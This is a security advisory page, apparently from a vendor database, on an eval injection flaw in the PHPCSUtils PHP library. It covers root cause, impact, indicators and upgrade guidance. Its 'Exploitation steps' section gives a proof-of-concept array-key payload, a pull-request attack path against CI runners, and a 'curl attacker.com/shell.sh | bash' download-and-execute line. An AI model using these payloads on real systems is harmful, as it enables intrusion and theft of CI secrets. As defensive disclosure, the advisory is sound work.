CVE-2026-65954: 
PHP vulnerability analysis and mitigation

Overview

CVE-2026-65954 is an eval injection vulnerability in PHPCSUtils (a utility library for PHP_CodeSniffer) that allows arbitrary code execution on the scanning host when untrusted PHP code is analyzed. The vulnerability affects all versions from 1.0.0-alpha1 through 1.2.2 of the phpcsstandards/phpcsutils Composer package. It was responsibly disclosed by @rodrigoprimo, published as a security advisory on July 27, 2026, and formally added to the GitHub Advisory Database on September 29, 2026. The CVSS v3.1 base score is 8.6 (High) (Github Advisory, PHPCSUtils Advisory).

Technical details

The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code — 'Eval Injection'). The vulnerable method PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey() uses PHP's eval() to determine the resolved value of array keys in scanned code, without sanitizing or validating the key expression first. An attacker can craft a PHP source file containing a malicious array key using PHP's first-class callable/callback syntax — for example, 'system'('id') => 'value' — which is then executed by eval() on the scanning host when PHPCS processes the file. Known vulnerable code paths are triggered by the PHPCSExtra sniffs Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes, and any other sniff that extends AbstractArrayDeclarationSniff and calls getActualArrayKey() is also affected (Github Advisory, PHPCSUtils Advisory, Patch Commit).

Impact

Successful exploitation allows an attacker to execute arbitrary OS commands with the privileges of the process running PHP_CodeSniffer on the scanning host. This results in full confidentiality, integrity, and availability compromise of the scanning environment — including CI/CD pipeline runners, developer workstations, or any automated code review system. In CI environments that lint pull requests from external contributors, this attack is particularly dangerous as it can compromise build infrastructure, expose secrets (e.g., API keys, credentials stored in environment variables), and potentially enable lateral movement within the CI network (Github Advisory, PHPCSUtils Advisory).

Exploitability

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The attack requires user interaction (a developer or CI system must scan the malicious PHP file), making it non-automatable, but no privileges are required on the part of the attacker — only the ability to submit code for scanning (e.g., via a pull request). The EPSS score is approximately 0.155%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and NVD SSVC assessment confirms exploitation is currently 'none' (Github Advisory).

Exploitation steps

  1. Identify a target: Determine that the target project uses PHPCSUtils versions 1.0.0-alpha1 through 1.2.2 with sniffs that call getActualArrayKey(), such as Universal.Arrays.DuplicateArrayKey or Universal.Arrays.MixedArrayKeyTypes from PHPCSExtra.
  2. Craft a malicious PHP file: Create a PHP source file containing an array with a callback-format key that executes a system command, for example:
    <?php
    $arr = [
        'system'('id') => 'value',
    ];
  3. Submit the file for scanning: Introduce the malicious PHP file into the codebase — for example, by submitting a pull request to a repository whose CI pipeline runs PHPCS with the vulnerable sniffs enabled.
  4. Trigger code scanning: When the CI pipeline (or a developer) runs phpcs against the submitted code, the getActualArrayKey() method processes the array key and passes the expression to eval(), executing the embedded system command.
  5. Achieve code execution: The OS command (e.g., id, curl attacker.com/shell.sh | bash) runs with the privileges of the PHPCS process, enabling data exfiltration, reverse shell establishment, or further lateral movement within the CI environment (Github Advisory, PHPCSUtils Advisory).

Indicators of compromise

  • Logs: Unexpected OS command output appearing in PHPCS scan logs or CI pipeline output (e.g., results of id, whoami, or uname commands); PHP error logs showing eval() execution errors or warnings from AbstractArrayDeclarationSniff.
  • Process: Unusual child processes spawned by the PHP interpreter during a PHPCS scan (e.g., sh, bash, curl, wget, python) with the PHPCS process as parent.
  • Network: Unexpected outbound network connections from the CI runner or developer machine originating from the PHP/PHPCS process, particularly to external IPs or domains not associated with normal build activity.
  • File System: New or modified files in the CI runner's workspace or temp directories created during a PHPCS scan run; unexpected cron jobs, SSH keys, or scripts added to the scanning host's filesystem.

Mitigation and workarounds

Upgrade phpcsstandards/phpcsutils to version 1.2.3 or later, which fixes the vulnerability by detecting callback-format syntax in array keys and returning early instead of passing the expression to eval() (PHPCSUtils Release). For users who cannot upgrade immediately, disable the vulnerable sniffs in your custom PHPCS ruleset by adding <exclude name="Universal.Arrays.DuplicateArrayKey"/> and <exclude name="Universal.Arrays.MixedArrayKeyTypes"/> exclusion tags; verify they are disabled by running phpcs -e --standard=/path/to/ruleset.xml (PHPCSUtils Advisory). Additionally, avoid scanning untrusted PHP code with vulnerable versions, particularly in CI pipelines that process external pull requests.

Community reactions

The vulnerability was responsibly disclosed by @rodrigoprimo and credited in the official advisory, with remediation developed by @jrfnl and reviewed by @edorian (PHPCSUtils Advisory). The PHPCSUtils maintainers issued a security release (1.2.3) and explicitly labeled it as a security release advising all users to update as soon as possible (PHPCSUtils Release). No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database aggregation.

Additional resources


Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-r66h-vhqv-h27fHIGH8.3
  • PHP logoPHP
  • bubka/2fauth
NoYesNov 23, 2026
GHSA-qjrw-7726-v758HIGH7.1
  • PHP logoPHP
  • code16/sharp
NoYesNov 23, 2026
GHSA-835v-w4x6-rh9jMEDIUM6.5
  • PHP logoPHP
  • bubka/2fauth
NoYesNov 23, 2026
GHSA-c4w6-v59v-38v5LOWN/A
  • PHP logoPHP
  • yiisoft/validator
NoYesNov 23, 2026
GHSA-2gm6-xjf3-cqmmHIGHN/A
  • PHP logoPHP
  • exceedone/exment
NoYesNov 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management